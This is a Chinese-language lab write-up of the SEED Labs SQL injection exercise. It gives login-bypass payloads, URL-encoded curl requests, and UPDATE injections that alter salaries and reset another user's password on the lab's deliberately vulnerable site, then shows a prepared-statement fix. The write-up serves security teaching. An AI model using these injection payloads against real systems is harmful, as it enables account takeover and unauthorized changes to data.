[seed-labs] SQL注入攻击实验

[seed-labs] SQL注入攻击实验

实验概览

  • SQL 注入是一种代码注入技术,利用 Web 应用程序和数据库服务器之间接口的漏洞。当用户的输入 没有被 Web 应用程序正确检查就被发送到后端数据库服务器时,就会出现 SQL 注入漏洞。
  • 很多 Web 应用程序从用户处获取输入,并使用用户输入来构建 SQL 查询,以获得数据库中的数据信 息。
  • Web 应用程序也使用 SQL 查询在数据库中进行数据信息的存储。这些都是 Web 应用程序开发中的常 见做法。如果没有仔细构造 SQL 查询,则可能会出现 SQL 注入漏洞。SQL 注入攻击是对 Web 应用程序最 常见的攻击之一。
  • 在本实验中,我们创建了一个易受 SQL 注入攻击的 Web 应用程序,它包含许多 Web 开发人员常犯 的错误。

实验目标

  • 找到利用 SQL 注入漏洞的方法,展示攻击所能造成的伤害,并掌握防御此类攻击 的技术
  • 本实验覆盖以下主题:
    • SQL 语句:SELECT 与 UPDATE
    • SQL 注入
    • 语句预处理

实验过程

实验环境搭建

  • 下载实验配置文件 Labsetup.zip(https://seedsecuritylabs.org/Labs_20.04/Files/Web_SQL_Injection/Labsetup.zip)

  • #将主机名映射到容器的IP地址
    sudo vim /etc/hosts
    

    image-20221015202336656

  • 使用xftp传送至虚拟机解压并命名为soft2

    image-20221015201632251

  • #首次使用先建立环境
    dcbuild
    #使所有容器在后台运行
    dcup -d
    #查看容器ID
    dockps
    

    image-20221015204050701

注意

  • Administrator 是一个特权角色,可以管 理每个员工的个人资料信息;Employee 是一个非特权角色

  • URL 编码

    image-20221015204741315

Task 1:熟悉 SQL 语句

  • #用户名为 root,口令为 dees
    mysql -u root -pdees
    

    image-20221015205351196

  • #使用SQL库
    use sqllab_users;
    #展示表项
    show tables;
    #一句话打印表
    select * from credential;
    

    image-20221015210819507

  • 退出

    image-20221015211128220

Task 2:基于 SELECT 语句的 SQL 注入攻击

  • //登录网址
    www.seed-server.com
    //弱口令注入;这句话放在文中表示 SELECT * from credential WHERE name = '1' or 1;
    //WHERE是一个判断语句,or 1 表示恒为1;永远正确;密码随便输即可
    1' or 1#
    //但我们已经知道该数据库的管理员名字叫做Administrator,所以直接登录他的账号查看所有人即可;密码随便输
    admin' and 1=1#
    

    image-20221015211522707

    image-20221015213142994

Task 2.1:基于网页的 SQL 注入攻击
  • 查看所有员工的信息:我在上面内容已经完成
Task 2.2:基于命令行的 SQL 注入攻击
  • //就是在以上的基础上将shell中会引起歧义的字符进行转义即可
    curl 'www.seed-server.com/unsafe_home.php?username=admin%27%20and%201%3D1%23&Password=111'
    //或者复制粘贴
    curl 'www.seed-server.com/unsafe_home.php?username=admin%27+and+1%3D1%23&Password=111'
    

    在线url网址编码、解码

    image-20221015215038867

    image-20221015215055889

  • 这里有一个细节是我发现url编码中空格的编码方式有两种,‘+‘以及’20%’,网页显示加号说明该字符串为查询字符串,’+'只会在查询字符串中出现URLEncode 中对 空格的编码有 “+”和“%20”两种

Task 2.3:增加一条新的 SQL 语句
  • 拼接SQL语句拼接SQL语句:task3实现部分会展示;同样的联合查询也可看做拼接
  • 如果php程序确实是想要数据库运行多条sql语句,可以使用mysqli的multi_query()函数。
  • 反制措施:
    • 预编译:使用预编译有两个好处,首先相当于一次编译,多次运行,缓存了部分代码调高了效率;其次是防止SQL注入:使用预编译后,其后注入的参数将不会再进行 SQL 编译.也就是说其后注入进来的参数系统将不会认为它会是一条 SQL 语句,而默认其是一个参数,参数中的 or 或者 and 等就不是 SQL 语法保留字了
    • 使用正则表达式过滤传入的参数;对一些字符进行过滤
    • 特别要注意的是前后端分离并不能保证数据库安全

Task 3:基于 UPDATE 语句的 SQL 注入攻击

Task 3.1:修改自己的工资
  • $hashed_pwd = sha1($input_pwd);
    $sql = "UPDATE credential SET
    nickname='$input_nickname',
    email='$input_email',
    address='$input_address',
    Password='$hashed_pwd',
    PhoneNumber='$input_phonenumber'
    WHERE ID=$id;";
    $conn->query($sql);
    
  • //登入Alice的账户
    Alice'#			密码随便输
    //编辑Alice的个人信息,从地址开始输入
    ',salary=114514,address=124,phonenumber='15' WHERE ID=1;#
    //实际执行的语句
    UPDATE credential SET nickname='',email='',address='124',PhoneNumber='15',salary=114514,phonenumber='115' where ID=$id;
    

    image-20221016141631577

Task 3.2:修改他人的工资
  • 想修改他人工资首先需要登录至该人账户

    image-20221016141855943

  • 相同的方法(这里由于我们知道Boby所在表项为2;公司内部员工福利)

    //登入Boby
    Boby'#
    //修改工资
    ',salary=1 WHERE ID=2;#
    

    image-20221016142606831

Task 3.3:修改他人的口令
  • 实验已经告诉我们是使用的SHA1函数生成的口令,同时我们查看unsafe_edit_backend.php

    //打开环境
    dochsh 36		//这里我的编号是36
    //由于实验环境中没有安装相关的软件,我们先安装
    apt-get update
    apt-get install vim		//文本编辑器
    //浏览
    cd /var/www/SQL_Injection
    vim unsafe_edit_backend.php
    //关键部分
    $conn = getDB();
      // Don't do this, this is not safe against SQL injection attack
      $sql="";
      if($input_pwd!=''){
        // In case password field is not empty.
        $hashed_pwd = sha1($input_pwd);			//hash掉了
        //Update the password stored in the session.
        $_SESSION['pwd']=$hashed_pwd;
        $sql = "UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address',Password='$hashed_pwd',PhoneNumber='$input_phonenumber' where ID=$id;";
      }else{				//这句只需要在上传的时候把pwd改掉即可;其余步骤同
        // if passowrd field is empty.
        $sql = "UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address',PhoneNumber='$input_phonenumber' where ID=$id;";
      }
    //假如要修改为123456
    hash(123456)=
    //修改
    ',password='7c4a8d09ca3762af61e59520943dc26494f8941b' WHERE name='Boby';#
    

    image-20221016145158197

    在线文本SHA1加密工具

Task 4:对策:语句预处理

  • 防御对策

    image-20221016145730446

    //预处理之前(样例)
    $sql = "SELECT name, local, gender
    FROM USER_TABLE
    WHERE id = $id AND password ='$pwd' ";
    $result = $conn->query($sql)
    //之后
    $stmt = $conn->prepare("SELECT name, local, gender
    FROM USER_TABLE
    WHERE id = ? and password = ? ");
    // Bind parameters to the query
    $stmt->bind_param("is", $id, $pwd);
    $stmt->execute();
    $stmt->bind_result($bind_name, $bind_local, $bind_gender);
    $stmt->fetch();
    
    //修改之前
    // do the query
    $result = $conn->query("SELECT id, name, eid, salary, ssn
                            FROM credential
                            WHERE name= '$input_uname' and Password= '$hashed_pwd'");
    //修改之后
    // do the query
    /*$result = $conn->query("SELECT id, name, eid, salary, ssn
                            FROM credential
                            WHERE name= '$input_uname' and Password= '$hashed_pwd'");*/
    $stmt = $conn->prepare("SELECT id, name, eid, salary, ssn
    			FROM credential
    			WHERE name= ? and Password= ?");		//占位符	且变量后不能跟空格
    $stmt->bind_param("ss", $input_uname, $hashed_pwd);	//数据被绑定后可以通过函数绑定结果中的列属性到变量中
    $stmt->execute();		//使用excute函数而不用system函数运行指令,他使用分开的蚕食分别接收命令名和数据,而不会将数据参数当作代码
    $stmt->bind_result($id, $name, $eid, $salary, $ssn);
    $stmt->fetch();	//特定列属性的数据被放在了指定的变量中
    //这种处理方式可以使数据不会被当作代码处理
    
    /*if ($result->num_rows > 0) {//这条判断保证了输入不为空
      // only take the first row 
      $firstrow = $result->fetch_assoc();
      $id     = $firstrow["id"];
      $name   = $firstrow["name"];
      $eid    = $firstrow["eid"];
      $salary = $firstrow["salary"];
      $ssn    = $firstrow["ssn"];
    }*/
    
  • 修改前:image-20221016162245858

  • 修改后:

    image-20221016234941602

  • 注意:传递的变量后面不能跟空格

思考题
  • 假设数据库只存储 password 和 eid 两列的 SHA256 值。使用下面 SQL 语句与数据库交互,其中 $passwd 和 $eid 变量的值由用户提供。这个程序是否存在 SQL 注入问题?如果没有,请解释原因;如果 有,请给出构造范例。

    $sql = "SELECT * FROM employee WHERE eid='SHA2($eid, 256)' and password='SHA2($passwd, 256)'";
    
    //该语句存在注入,用and链接参数可拼接,因此只需1,256)'and 1=1#
    

篇外

  • 本次实验基于 SEED Labs 的 SQL Injection Attack Lab 部分:https://seedsecuritylabs.org/Labs_20.04/Web/Web_SQL_ Injection/
  • docker使用手册https://github.com/seed-labs/seed-labs/blob/master/manuals/docker/SEEDManualContainer.md
  • SQL-ProblemSQL
  • 13
    点赞
  • 27
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值